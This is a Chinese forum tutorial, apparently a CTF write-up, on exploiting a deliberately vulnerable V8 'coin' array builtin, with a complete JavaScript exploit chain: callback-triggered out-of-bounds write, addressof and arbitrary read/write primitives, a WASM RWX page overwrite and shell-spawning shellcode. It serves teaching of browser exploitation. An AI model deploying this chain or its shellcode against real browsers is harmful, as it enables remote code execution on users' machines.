首页
社区
课程
招聘
browser pwn入门(二)
2023-12-13 21:46 7726

browser pwn入门(二)

2023-12-13 21:46
7726

再来看一道oob的题目

数字经济大赛决赛-Browser

先看diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
 }
 }  // namespace
  
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+  uint32_t len = args.length();
+  if (len != 3) {
+     return ReadOnlyRoots(isolate).undefined_value();
+  }
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+         isolate, receiver, Object::ToObject(isolate, args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+  Handle<Object> value;
+  Handle<Object> length;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+  uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+  if(37 < array_length){
+    elements.set(37, value->Number());
+    return ReadOnlyRoots(isolate).undefined_value(); 
+  }
+  else{
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+}
+
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
   Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayCoin)                                   \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayCoin:
+      return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
+   SimpleInstallFunction(isolate_, proto, "coin",
+               Builtins::kArrayCoin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
     SimpleInstallFunction(isolate_, proto, "find",

作者贴心提示了我们只能用于release版本不能用于debug,编译release的时候记得在args.gn里加上这几行

1
2
3
4
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

不然用不了job命令

作者为array容器新增了一个了一个coin方法,接收两个参数length和value,超过两个则会返回undefined_value。

获取array然后申请一个局部变量存储elements字段,声明value和length,然后对coin的两个参数分别调用ToNumber函数。

判断array的length是否大于37,如果大于的话则将value写入到之前声明的局部变量elements[37]中。

通过分析diff来寻找漏洞,由于ToNumber函数可以出发回调函数,所以如果先申请一个length小于37的array,然后在回调函数中修改array length的值,让其大于37,就可以让array的elements将原来的空间释放掉然后重新申请一个更大的空间,但是局部变量elements并没有检测是否出现上述情况,所以发生了UAF,导致可能会发生数组越界写。

有了大致思路以后来摸摸这个题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
var length=123123;
var value=
{
    valueOf:function()
    {
        float_array.length=100;
        return 123123;
    }
}
var float_array=[];
float_array.length=30;
%DebugPrint(float_array);
float_array.coin(length,value);
%DebugPrint(float_array);
%SystemBreak();

先尝试着利用回调函数修改float_array的length
图片描述

可以看到成功修改了array的长度,但是修改array的长度并不是关键点,还是要将主要精力放在越界写上,尝试在调用coin的array下面申请一个新的array,然后让越界写刚好能够写到新的array的length字段,这样就可以获得一个大范围的越界任意读写。

进行以下尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var length=123123;
var value=
{
    valueOf:function()
    {
        float_array.length=100;
        return 1.1;
    }
}
var float_array=[];
float_array.length=30;
victim=new Array(12);
float_array.coin(length,value);
%DebugPrint(victim);
%DebugPrint(float_array);
%SystemBreak();

图片描述

其中红色方框是float_array的对象结构,蓝色方框是已经被弃用的大小为30的elements,绿色方框则是victim,包含了对象结构以及大小12的elements结构,可以看到victim的结构是紧挨着被弃用的elements的,如果发生越界写是完全可以通过控制float_array的大小来控制越界写到victim结构的什么字段的,当float_array大小为30的时候,写到的是0x158偏移的位置,而victime的length字段在偏移0x138的位置,也就是说float_array的elements长度再加4*8就可以覆盖victime的length字段。

将float_array.length改成34以后,得到如下结果
图片描述

现在就获得了大范围越界读写功能了。

接下来借此实现一下功能函数
首先是addressof函数,只需要申请一个array,然后里面写上一个特殊值,然后用victim进行定位,将object存到新申请的array里,然后用victim进行读取即可完成addressof功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var float_array=[];
float_array.length=34;
victim=new Array(12);
victim[0]=1.1;
float_array.coin(length,value);
var pos_array=new Array(0x12345678,0);
var pos_idx=victim.indexOf(i2f(0x1234567800000000n))+1;
function addressof(object)
{
    pos_array[1]=object;
    return f2i(victim[pos_idx]);
}
var target = [1.1];
var target_address=addressof(target);
console.log("[*] target address : 0x"+hex(target_address));
%DebugPrint(target);
//%DebugPrint(float_array);
%SystemBreak();

图片描述

可以看到已经成功实现了addressof
接下来实现read64和write64

1
2
3
4
5
6
7
8
9
10
11
12
function read64(address)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=DataView(rwarray);
    return f2i(dt.getFloat64(0,true));
}
function write64(address,value)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=DataView(rwarray);
    dt.setBigUint64(0,value,true);
}

还是非常好实现的

最后考虑wasm写shellcode来getshell,常规的执行shellcode的方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
var length=123123;
var value=
{
    valueOf:function()
    {
        float_array.length=100;
        return 123123123123;
    }
}
var float_array=[];
float_array.length=34;
victim=new Array(12);
victim[0]=1.1;
float_array.coin(length,value);
var pos_array=new Array(0x12345678,0);
var pos_idx=victim.indexOf(i2f(0x1234567800000000n))+1;
function addressof(object)
{
    pos_array[1]=object;
    return f2i(victim[pos_idx]);
}
var target = [1.1];
var target_address=addressof(target);
console.log("[*] target address : 0x"+hex(target_address));
 
var rwarray=new ArrayBuffer(8);
var backstore_ptr_idx = victim.indexOf(i2f(8n)) + 1;
function read64(address)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=new DataView(rwarray);
    return f2i(dt.getFloat64(0,true));
}
function write64(address,value)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=new DataView(rwarray);
    dt.setBigUint64(0,value,true);
}
function get_wasm_fun()
{
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var instance_addr=addressof(wasmInstance);
    var rwx_page_addr=read64(instance_addr-1n+0x88n);
    return [wasmInstance.exports.main,rwx_page_addr];
}
var result= get_wasm_fun();
var f=result[0];
var rwx_page=result[1]
console.log("[*] leak rwx_page: 0x" + hex(rwx_page));
 
shellcode = [
    0x91969dd1bb48c031n,
    0x53dbf748ff978cd0n,
    0xb05e545752995f54n,
    0x50f3bn
];
 
for(var i=0n;i<4n;i++)
{
    write64(rwx_page+8n*i,shellcode[i],true);
}
//%SystemBreak();
f();

起shell
图片描述


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回